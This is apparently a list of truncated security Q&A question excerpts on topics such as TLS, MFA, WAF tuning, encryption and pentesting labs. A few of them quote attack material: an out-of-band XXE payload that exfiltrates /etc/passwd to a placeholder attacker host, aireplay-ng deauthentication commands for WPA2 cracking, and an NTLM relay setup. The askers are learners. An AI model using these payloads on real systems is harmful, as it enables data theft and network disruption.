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It is known that downloading a file without actually executing it can be a security vulnerability, if the operating system does something which is not known by the user. See here for some good answers. However, I could not find a detailed explanation on how some of those things are done. Suppose that after downloading ...
I am currently involved in enhancing the security of a Docker-based web application.The application follows a traditional three-tier architecture, comprising a web app, an application layer, and a database—all operating on the same VM. A firewall and a WAF in reverse proxy are filtering the content before it reaches th...
Let's assume that I have chosen a password X which is both hard to guess and easy to remember. I have the feeling that instead of using X for, say, Gmail, Stackoverflow, Ebay, ... I could use gX, sX, eX, ... respectively - and thereby easily increase security. What are pros and cons of doing this?
Currently we have a Palo Alto FW that serves as our perimeter devices for our network. We are required by our contract to block certain IP addresses. Over time this list has grown to almost 150k entries. Palo has a limitation on the max number of entries that can be put into an External Dynamic List and we are quickly ...
This is a password recovery project, which is more complex than just generated a wordlist, since using my tries (see below) it seems to be not enough to just generate a wordlist. I'm trying to recover my old Bitcoin wallet, which I created a while back. I know what passwords I've been using back then, I just mashed the...
There is a new article explaining the details of the new Google OAuth2 exploit where a Google session can be restored using a Chrome token. But what I can't seem to find on Google or in the article itself is... Am I correct in understanding that a malicious actor would need either access to my computer and Chrome prof...
I download its certificates. To do that, I used the openssl debug output of the command openssl s_client -connect security.stackexchange.com:443 -servername security.stackexchange.com -showcerts -debug </dev/null 2>&1|tee out The output says nothing unusual, it is an ordinary ssl handshake, including the certificate c...
I was recently doing bug bounty on a website and found it also has an app so i tried to pentest on it using burpsuite via MITM and intercepting it through burp proxy Though my request got blocked by the app and it showed me error even after i configured everything properly via installing the burp ca certificates on sys...
I want to limit access from the Internet to my Web server but the clients will have a dynamic IP address so the best I can do is to whitelist all addresses belonging to that specific mobile carrier which still leaves the system open to too many users. Functionality can be denied by use of a reverse proxy (I'm using HAP...
I want to create a function that returns a random number in a given range, what is a secure way of doing that?
I am very new to this and was asked to address some security patches on various ec2 instances in our AWS account. Mostly this was a matter of using the Security Manager to connect to the instance and running "yum update whatever". One of the notes was that we had IP forwarding enabled on some instances which were use...
I'm working on a lab on PortSwigger.com titled Username enumeration via different responses. While using ffuf to solve the lab, the output keeps returning a 400 status code. So far this is what I've tried. Here is the request payload file, as well as the script file. Note that in the script file, I'm using -mode cluste...
Consider me the average Linux user. I know the basics of shell scripting and intermediate Python. However, I have very limited knowledge of system admin or security related matters. Background: Say that I have a Python application just in the form of a cloned github repo. I simply run a .py file to start a python 3 tk-...
I am learning to run Elasticsearch in a Docker container on a laptop. For a start, I expect running it on localhost. The laptop is connected to the Internet. Is that unsafe? I remember that ipython/jupyter notebooks also run on localhost. The Elastic docs confuses me: Note that the above command starts the service wit...
I am auditing a webapplication that gives access to a financial backend. The web application provides the frontend in a HTTPS session properly encrypted, and after the client authenticating inside the system, it sends the symmetric key that will be used for further communication (between the client and the server) as a...
On macOS Sonoma, when I use any non-admin user, I am able to do a full OS update, or to run commands like softwareupdate --install-rosetta. Why is this allowed? I researched a little and came to this documentation saying: authorising software updates is allowed by standard users and only requires volume ownership Whe...
We currently rotate AWS-specific secrets via AWS Secrets Manager without much issue. However, we are looking to also rotate secrets e.g. API keys for specific services, but AWS Secrets Manager does not support this, and it seems that HashiCorp Vault has some limited secrets engines. What is the best practice for rotati...
I've read a good bit about DMARC, DKIM, and SPF but now that I'm getting results come in, there are some things I'm seeing that I don't understand. I keep seeing passing DKIM results from outside domains and their selectors, as well as passing from the intentional domain, in a relaxed DKIM policy for DMARC. For example...
I use microsoft bitlocker encryption all my disks. Some day, maybe I click on a phishing email and my computer be hacked. Hacker sends my data to his server. Is the data encrypted or plaintext in his server?
I've posted this over at Stack Overflow but I think it's best suited here: I'm making a web app where users will upload sensitive data (private finances records), so I want to encrypt one column in one table that holds the value. If I understood correctly, I need to use a public key approach (instead of symmetric) beca...
It seems pretty common for websites to issue a bunch of backup codes for MFA that the user saves somewhere. Instead, why don't they provide the user with the private key for a digital signature and store the public key? Wouldn't the randomness for a digital signature be far more superior than 5x 6 digit codes?
I am just curious if anyone experienced the following and have any insight to add to this. Once in a while, I notice some random person attempting to setup my gmail account as their "recovery" mail.  I dismiss this attempt as mistyping of account name and not a deliberate effort. Whenever I get the verification request...
Any methodologies of secret or private dev-ops as a service? The use-case I was thinking of is for example, a productized service like on Fiverr, eg. Seller will deploy your site onto TOR network and guarantee that you retain privacy in that they never know the content of the site.
I already tried googling but no luck. All search results always tell you how to check cert expiration manually, but that is not my question. Yes I can use OpenSSL for example, but what I am asking is how the SSL/TLS protocol does it, not how a user/human can do it. The question: We know that SSL/TLS handshake will fail...
In ASN.1 you'll have definitions like this: id-ad-ocsp OBJECT IDENTIFIER ::= { id-ad 1 } X.680 (page 22) says the following: Each production consists of the following parts, on one or several lines, in order: a) a name for the new permitted sequence of lexical items; b) the characters ::= c) one or more alter...
To clarify the question, here's our case: We generate encrypted tokens by applying AES-CBC (256 bit) and Base64 to payload: encrypted_token = Base64.encode(AES_CBC_256.encrypt(key, iv, payload)). These encrypted tokens are publicly available. It's quite obvious that these tokens are Base64'd, so that's not a secret. Ou...
For me building interfaces through HTML / JS frameworks is by far easier then any other framework I have tried in the past. It's also not that strange, as by far the most UIs are based on the web nowadays, so the tools are superb (to me). Sometimes I need a small tool or app that needs access to "native Windows" stuff ...
There is a regexp in the rules 920600 and 922110 that (according to my opinion) accepts only 4 charsets in the Accept header. I need to make it custom, so the regexp must be modified based on my custom charsets. I understood that in CRS 4, the regexp is created based on 4 files: (in the folder regex-assembly) 920600.r...
We are integrating Google login in our app and we intend to use the idToken for authentication. We are already sending the idToken from the app to the back-end server, and intend to verify the token as explained at: https://developers.google.com/identity/sign-in/android/backend-auth#verify-the-integrity-of-the-id-token...
I am hoping I can leverage everyone's knowledge on this one as I am at a lose. I have an Android 10 Device connecting to a containerized web application that is secured by a custom Certificate Authority. The OCSP addresses in the certificates are currently set to static IP addresses internal to the containers due to d...
cURL is returning a 200 status code after correct login. The common response code after user login should be 302. Why am I not receiving this status code? All information is provided below. #!/usr/bin/env zsh printf "\nsending raw request method: POST ..\n" curl -X POST \ "http://10.129.1.15/login.php" \ -H '@reqsH.tx...
I'm quite new to XXE attacks so please bear with me, when I look at the different payloads to get a OOB XXE they all look like the following (external DTD) : <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; my que...
I'm reading this article, https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/ In the payload generation it has a keyring strategy. I couldn't understand what keying do here. Is the payload encrypted with this specific key? Or stashed in certain location? The article didn't say much, does anyone know?
A brief schema of a TLS intercepting proxy - the Client connects to the Host via the Proxy in a way which allows the Proxy to perform a (consensual) MITM. [Client] -> [Proxy] -> [Host] It's my understanding reading references online that implementing a TLS intercepting proxy requires you to: create your own CA si...
I'm building a webapp where I want to encrypt user data. I've done A LOT of research about this. The main issue is that I want only users to be able to access their data. After reading countless articles and forums, I've come to the conclusion that the user has to encrypt the data in the client and decrypt it there too...
I use a password manager and have a browser plugin installed for it to simplify entering passwords into websites. I recently encountered a website (enterprise SaaS solution I use at work), which actively blocks password managers from auto-filling passwords. The plugin isn't able to populate the password field, and if ...
Is there a term for when you a particular system design might prove to have some advantages, but doesn't actually qualitatively change the potential attacks on the system and thus ends up as redundant, excessive, misleading, costly, and/or ineffective? For example, a programmer might say, "We should make the user type ...
I want to secure my mobile app with a passwordless MFA mechanism. The registration/login flow would be: You register you account online with a username and a mobile phone (an OTP will be sent to verify the phone number). You login to the app for the first time by providing your username and the system will send an OTP...
For PEAP it's important to enable the "Verify the server’s identity by validating the certificate" setting in a Windows WiFi profile. Is there any benefit enabling this for EAP TLS? If I understood correctly, EAP TLS itself uses mutual authentication and does not require an additional certificate for server validation?...
This question is inspired by someone's comment on this question elsewhere In the modern era of Internet and encryption it's quite surprising that countries like Russia still regularly use coded radio systems (Mazielka/Perelivt) to communicate with their embassies One reason to do that might be to avoid the risk of th...
I'm hoping to lead my organization (around 15 people, all remote) in overhauling our security practices, and part of that is making sure each team member is using 2FA on the platforms/tools that offer it. Anyone have any tips for how to go about this? Any tools or centralized knowledge bases for walking people through ...
I'm new to modsecurity topic so maybe my question is stupid but... I have setup modsecurity on my new nginx/1.24.0 server with default set of recommended rules: coreruleset-3.3.0 and since then my POST XHR request is being blocked. This is a basic Laravel/Livewire form. The headers sent and logged by modsecurity look l...
I've got Snort compiled, configured, and running. Only problem I have is that it fails when I try to run it as a service. I've mainly been using the guide from here: https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/012/147/original/Snort_3.1.8.0_on_Ubuntu_18_and_20.pdf. Running snort -u snort...
I installed Raspberry Pi OS on a RPi 3B, then I installed NetworkManager, set the Ethernet connection to "Shared to other computers" and connected an ethernet cable between the RPi and a normal desktop running Windows 11. The setup works, Windows has WiFi disabled and successfully gets internet over ethernet. Now, I wa...
First of all I want to address a thought I had which is that they might market their ability to read the encrypted code being sent so they can spot "bots" and such, and that this is why they need to be able to decrypt the communication. This is valid but I think that I would prefer this being a program like fail2ban in...
I received a WhatsApp message. I never registed with any recruitment job portal, or even speak Arabic at all What are the dangers in myself trying to find out what happened (did they send the same message to everyone, did they get my number somewhere?) I feel there is potential danger in interacting with them but I do...
This document has a sequence diagram (annotated and shown below) explaining how Stripe handle's a Checkout Session. My question : When a customer is returned to the successUrl = www.example.com/some/specific/path, how can www.example.com (either client or server) verify it is truly coming from stripe.com instead of a m...
User Crover has given a very great explanation for this question: RSA or ECDHE for x.509 certificates-what does each do? I have one question to Crover and/or any other member. What I understand from the Crover's answer, if client (a Web Browser for example) and the Web server agree on ECDHE_RSA, they will come up with ...
Where I work, this is the passwordless registration/login flow for our Mobile App A user registers with a username and a phone number. An SMS OTP is sent to the phone number to verify it. Initial login: The user logs in to the mobile app with its username. The app sends an OTP code to the registered mobile number. Aft...
Clickjacking is still very possible in 2024, because iframe embedding is allowed by default. Why is this the case? In 2013 there was a question about why iframes exist at all (Why are iframes allowed at all in modern browsers?), which is outdated (it heavily reference Flash, Java Applets, and extols the benefits of usi...
When I try to perform a DLL injection with ScyllaHide in x32/x64 dbg, then it crashes for some reason, is this a bug? Both with stealthy injection as with normal injection, the program crashes when I inject a DLL. For example, when I inject my own DLL or a standard Microsoft DLL in notepad.exe, the process crashes. I a...
Does Node.js's npm package manager cryptographically validate its payload's authentication and integrity for all packages after downloading them and before installing them? I see a lot of guides providing installation instructions with steps asking the user to install Node.js dependencies with npm install .... I usuall...
If I have a program that runs on a regular basis, such as a cron job or systemd timer and it needs to access a secure resource like a hsm or encrypted database, what are the best practices to store/access the credentials to it?
This post is related to this post on Android users stack exchange relating to conceiving of a variety of household situations and files and a post related to what immutable storage is which was deleted from this site and deleted (immutable storage is for backup files that cannot be deleted on the server), as well as in...
I am having difficulty understanding the differences between bc-prov and bc-fips jar. I understand bc-fips contains the subset of bc-prov packages as well. But I want to understand more about the below questions, Will there be any performance impact upgrading to bc-fips jar provided I still use the same algorithm, key...
Are there any widely adopted guidelines/recommendations in regard to online password generators? Are they recommended over offline generators, for example? If so with what justification? References would be appreciated. NB: this is not about password managers, but about password generators (and I include passphrase gen...
Within the measured boot process, consider a scenario where I aim to create a measurement for a specific piece of code, perhaps, for illustrative purposes, a potentially malicious operating system. so i know that the PCR is read and extend only. My understanding is that the firmware manually reads and hashes the boot l...
I would like to know how are X.509 certificates revoked. That is: Say I have an X509 certificate, and I want it to be revoked for whatever reason (e.g., compromise). How do I reach out to the CA? What information do I need to provide? How is that information authenticated? Is there any standard covering this? Or, inste...
If I use the ACME protocol to generate Certificates and I use the TLS Challenge, is the DNS Server a critical part in the threat model?
I have received information that, in the case of using the Windows Hello convenience PIN (not Windows Hello for Business), the PIN is stored on the device in plaintext. However, I haven't found any sources or articles on this topic to confirm whether it is indeed true or not. Do you have any information about this?
Threat actors are creating lookalike domains (ex. Telecom.com to te1ecom.com), and using those to phish users for credentials (not employees). They’re getting the MFA tokens, too. What could be done so that the client-side code couldn’t be copied to create a replica or any other watermarking technique to let the user k...
I'm looking at a potential phishing site and I see that some of the HTML is obfuscated. It's not Base64. All the links look like this: <link href="6bkaQeQe69e/st-oU9kY4its4s5Zz2ykykffaNIgaVVtdtPSne0d3bxTbrLcyxygfAd0LXBQWdxowKsvc7G5BVrze6S8kPP" rel="stylesheet" /> Some of the class names are also obfuscated. I was thi...
I am currently implementing a change-of-email request flow for a web service without MFA. My initial approach is to consult the current OWASP Guide for such a flow. In reading the document, I've realized this is quite different from the flow I typically see on websites, even Fortune 100s. The TLDR for the OWASP recomm...
I am in the process of creating a Python pipeline intended for reading and processing sensitive medical personal data from password-protected Excel files. The pipeline utilizes the msoffcrypto library, specifically the OfficeFile.load_key and OfficeFile.decrypt functions, to handle the decryption of these files. Given ...
I see an available connection "Eliza" in my area. How can I check if this is a danger to me?
I've been trying to read more about self-signed SSL certificates versus creating my own certificate authority to sign SSL certificates. I am still not completely clear on this. I'll start by explaining my use case: I have customers that want to buy something from me called the HelloWorld Platform. Each HelloWorld Pl...
I'm studying the quic protocol. On the quic's 0-RTT Handshake, I found out that if a client has ever connected, they authenticate to the server using the key obtained from the previous connection. So where is the key from the previous connection stored?
There is a lot of online tools to bruteforce online server like hydra and offline with hashes like hashcat. Yet it seems very weird that there is not a single offline bruteforcing app for software. Like if a make a python app that requires a password, how can I bruteforce the input until it is cracked ?
When connecting with my email client using TLS, is the username always encrypted or is it exposed to sniffing (for example, before handshake)?
I am trying to understand the implication of CVE-2023-40791. The CVE reads: "Linux kernel before 6.4.12 fails to unpin pages in certain situations". NetApp says this could lead to modification of data or denial of service. Is that really realistic?
I would like to know how I can test if my devices, or browsers1 checks and applies DNS Certification Authority Authorization (CAA) correctly. And if it does not, how I can enable it and enforce CAA to be checked and rejected or at least warned about. I'm mainly interested in testing this on Windows, Linux and Android s...
It is typically recommended to enable 2FA wherever possible. Moreover, it is typically recommended to enable not just any 2FA method, but Yubikeys in particular. Yubikeys are considered to be the strongest available 2FA method. They are nigh-unbreachable, perhaps with the sole exception of if the user's machine is alre...
TL;DR The container's environment variable can be queried many ways, with native docker tools or 3rd party tools. The docker admin user (or any user in the docker group) not necessary dba on a container's image, still can dump the root(mysql,mariadb)/superuser/sa/etc password. In many reputable open source project's d...
I have read a number of posts of many people expressing their confusion around the extra security gained from using an access token and a refresh token to control access to a resource API. Picking up from this post how-does-a-jwt-refresh-token-improve-security on this site; The author of the question made his case: if ...
I've been trying to crack wifi wpa2 handshake using airodump-ng and aireplay-ng. I'm using alfa awus-036acs adapter. sudo airodump-ng wlan0 sudo airodump-ng --bssid MAC ADDR of AP --channel 1 -w capture wlan0 and (tried both) sudo aireplay-ng --deauth 0 -a MAC ADDR OF AP wlan0 or sudo aireplay-ng --deauth 1111 -a ...
We use LUKS/dm-crypt encrypted workstations with long passwords. But if an laptop is unlocked and booted into Debian, using Xscreensaver then the disk is in an unencrypted state but the keyboard is locked. My question is, would it be possible to with full physical local access, on a normal laptop to bypass the screensa...
I'm reading "Guide to Bluetooth Security" by NIST (available here). At page 22 (page 33 of the PDF), they describe the Secure Authentication scheme. From what I can understand, both the devices compute the same value, then they send it to each other and each device checks that the value it has received is the same that...
Will a random-generated-session-key be enough, so that I can end the usage of csrf token? The front end, will receive the token when logged in. It will be stored in «local storage» at the client’s device and check for every request to backend. It will last for a given time, and when you log off, you end the session. Al...
Say a citizen-run journalist site is a target of a hostile government. The site is hosted over HTTPS in a different country, outside the government's reach. However, the site domain name is within the country's top level domain. I think the most likely route for the hostile government is to take over the DNS record, ...
OS: Ubuntu 20.04 on VMWare, tool: John the ripper The whole system is up-to-date The file has 1000 hashed passwords. There are 40 rules provided, a small word list is provided to help crack part of the password. Length is from 1 to 8 Methods already used: -single -incremental -wordlist with 40 rules provided hashed-pas...
In a discussion about sql injections, a claim was made that the actress Rachel True has computer problems due to her last name, including not being able to get an iCloud account, and not being able to get an account on one of the largest social media sites. So apparently some blacklisting rejects her name. And there ar...
I'm assuming that OpenSSL is just using these functions here. page 66 is CBC https://www.intel.com/content/dam/develop/external/us/en/documents/aes-wp-2012-09-22-v01-165683.pdf Can I just generate a key/iv randomly and pass data off with these functions to encrypt/decrypt data? If so, how come the decrypt function is l...
This is with reference to Max Kamper's video on GLIBC heap exploitation and these articles I read https://www.crow.rip/crows-nest/binexp/heap/house-of-force-i https://www.crow.rip/crows-nest/binexp/heap/house-of-force-i/house-of-force-ii I have a few questions about the video and articles. Why is the formula for cal...
I just watched a video on DNS that explained that if there is a man-in-the-middle or if someone has taken over your resolver, DNSSEC can prevent the responses from being tampered with because the client can verify that the owner of the zone has signed the resource records. I think I have a grasp of the basics of how DN...
I am aware through hearsay of the threats exposed by certain digital assets. For example, not only should a password be kept secret, but it should not be re-used. Having the scenario unpacked for me, I now understand that password re-use is risky. But I would suggest that this is somewhat unintuitive, and may not have ...
I performed ntlm relay attack with mitm6 and ntlmrelayx. I used mitm6 for dns spoofing. When the victim sent a query containing where the DHCP is located, I identified myself as the DHCP server. Then I became proxy with WPAD so victim makes any http request through me. I responsed 407 authentication for any http reques...
Let's assume that authentication with certificates has been well performed, next step is to generate short-term private&public ECC keys for ECDH shared key computation. Alice: Generates keyA with RNG and calculates pubkeyA, shares pubkeyA with Bob Bob: Generates keyB with RNG and calculates pubkeyB, shares pubkeyB wi...
How can I encrypt a string of information and put it on a piece of paper and be able to plug that encrypted text back into the algorithm with a password and unlock the information? Is this secure?
I clicked a link on twitter and it had nothing on the website and then some text appeared on it that said "your IP address has been logged to the authorities for having CSAM". Can websites have your IP address and can websites report you to the police? By the way, I don't, I'm just a 14-year-old on twitter.
Assumption a customer is sitting in a public area connected to a public wifi. Step 1. example.com server sends the following information to trustworthy.external.domain over https: redirectPath="https://www.example.com/public/endpoint" queryParam1="secret1" queryParam2="secret2" Step 2. trustworthy.external.domain ret...
In RFC6455 section 10.3, it explains why they have made clients mask their outgoing frames (so that a malicious server cannot manipulate a client into sending something in plaintext, as the message could be a HTTP request which could be used to cache poison a proxy server). However, there is no requirement for the serv...
Some services like ejabberd, nginx for authenticating using a database, and dovecot requires providing the database password as plain text in the configuration file. Is it safe to store MariaDB password as plain text provided that processes are isolated in chroots or for instance containers, mandatory access control is...
I'd like to setup an openvpn server so that clients either use a certificate to authenticate or send username & password. In certain situations I don't want to issue a certificate for clients and would be happy for them to just use username & password. First thing I tried was to do this: remote-cert-tls client ... pl...
I can successfully iframe a page on origin B from origin A (no x-frame-deny, content security policy, etc). A page on origin B (page X) redirects to a page on origin C (page Y) with a server side redirect (status 301). Origin C doesn't allow iframes. Is it possible to track which page is redirected to (page Y) from ori...
I just started using a Yubikey 5. I've set up GPG according to this excellent guide, and now I have 3 working ECC key pairs on my Yubikey: Sign/S :: ed25519, Encrypt/E :: cv25519, Authentication/A :: ed25519. Now I want to use my Yubikey to certify other keys. The private GPG primary key, the only one with Certify/C is...
I have a Rust-app executing Python-scripts using PyO3. The Python-scripts are uploaded by users, so I need to check for unsafe code before executing it. The scripts should only be able to do mathematical operations and in no case should access files, operating system resources, or use network functionalities. To make s...
I'm exploring the security implications of OTP (One-Time Password) authentication and wondering about the effectiveness of server-side protections against brute force attacks. If an attacker attempts to send all possible OTP codes within a 1-second timeframe, is there a chance that the server could accept the correct o...
When I first generated my GPG key I created a revocation certificate for it as well. Now I've edited my key and its subkeys and updated their expiration. Do I need to generate a new revocation certificate?
Let's say I got an access token of the "authorization code" grant type. After the expiration of it, I would refresh it using the refresh grant. Then I'll get a new token. Is the grant type of the new token still the same as the "authorization code" or "refresh grant"? Should an authorization server preserve the grant t...
In my home WIFI router, I set MAC filtering for me and my family’s devices (about 6 devices). If some devices that weren’t in my MAC filtering whitelist, and they know my WIFI password and try to connect to my home WiFi network, what will happen to them? Will they get IP from DHCP in my router? About MAC spoofing, if...